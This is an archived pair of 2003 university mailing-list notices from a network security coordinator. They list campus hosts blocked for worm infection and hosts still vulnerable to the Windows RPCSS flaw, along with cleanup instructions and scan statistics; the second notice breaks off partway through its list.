<130680000.1065645006@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A7Kwk-000HWC-A9*YYpvZuHoYxA* Hello, These lists are being periodically sent out due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, as well as those that are vulnerable according to a daily scan which I am conducting. There is also a summary so that we can all track the progress of reducing UCSB's exposure to this vulnerability. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts *** 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.19.32 tau.physics.ucsb.edu 128.111.20.208 dhcp20-208.wirelesstest.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.29.55 camp.engr.ucsb.edu 128.111.29.157 poseidon.ece.ucsb.edu 128.111.29.159 roscoe2.ece.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.44.150 128.111.56.173 dhcp56-173.ece.ucsb.edu 128.111.57.16 pilon.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.92.216 128.111.96.40 coll02.alexandria.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.50 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.164 host108-164.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.110.64 zo.bren.ucsb.edu 128.111.111.82 sacagawea.bren.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.206.72 128.111.207.81 128.111.229.220 128.111.234.43 ppp3.ncgia.ucsb.edu 128.111.234.55 erebus.ncgia.ucsb.edu 128.111.234.85 vital5.geog.ucsb.edu 128.111.234.216 sylvey.geog.ucsb.edu 128.111.234.239 sylvey.geog.ucsb.edu 128.111.236.73 dhcp-73.crustal.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.9.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.117 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.189 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.190 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.191 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.216 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.31.154 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.32.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.55 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.86 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.93 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.183 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.148 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.38.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.238 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.111 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.156 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.172 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.22 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.110 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.47 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.76 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.19 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.111 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.162 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.176 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.62 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.76.75 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.76.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.16 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.180 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.92.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.24 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.103.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.156 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.160 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.182 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.203 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.231 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.104 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.133 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.140 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.188 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.118 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.102 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.185.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.57 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.117 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.196.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.59 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.206 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.219.34 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.175 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 61 RPCSS Vulnerable ............................. 127 DCOM Disabled ................................ 71 Not Vulnerable ............................... 3534 Errors ....................................... 14 TCP Port 135 Closed or Host Timeout .......... 61790 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 """Jennifer B. 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Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <99950000.1065724823@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A7fi6-0001G9-MS*V0Prer3Uq6o* Hello, These lists are being periodically sent out due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, as well as those that are vulnerable according to a daily scan which I am conducting. There is also a summary so that we can all track the progress of reducing UCSB's exposure to this vulnerability. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts *** 128.111.9.203 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.20.208 dhcp20-208.wirelesstest.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.29.55 camp.engr.ucsb.edu 128.111.29.157 poseidon.ece.ucsb.edu 128.111.29.159 roscoe2.ece.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.44.150 128.111.56.173 dhcp56-173.ece.ucsb.edu 128.111.57.16 pilon.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.82 theomac.crss.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.92.216 128.111.96.40 coll02.alexandria.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.50 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.164 host108-164.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.111.82 sacagawea.bren.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.206.72 128.111.207.81 128.111.216.66 host216-66.lsdepts.ucsb.edu 128.111.229.220 128.111.234.43 ppp3.ncgia.ucsb.edu 128.111.234.55 erebus.ncgia.ucsb.edu 128.111.234.85 vital5.geog.ucsb.edu 128.111.234.239 sylvey.geog.ucsb.edu 128.111.236.73 dhcp-73.crustal.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.9.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.117 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.31.99 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.32.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.55 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.93 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.148 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.38.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.238 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.111 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.172 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.208 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.22 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.110 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.47 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.50 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.17 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.19 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.128 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.138 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.162 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.237 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.62 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.76.75 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.76.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.16 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.180 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.83.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.24 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.103.55 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.55 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.104.156 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.63 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.109.160 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.166.191 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.175.20 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.70 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.182 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.203 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.231 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.104 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.133 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.188 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.102 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.184.108 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.117 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.195.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.196.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.206 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.209.154 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.220.136 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - 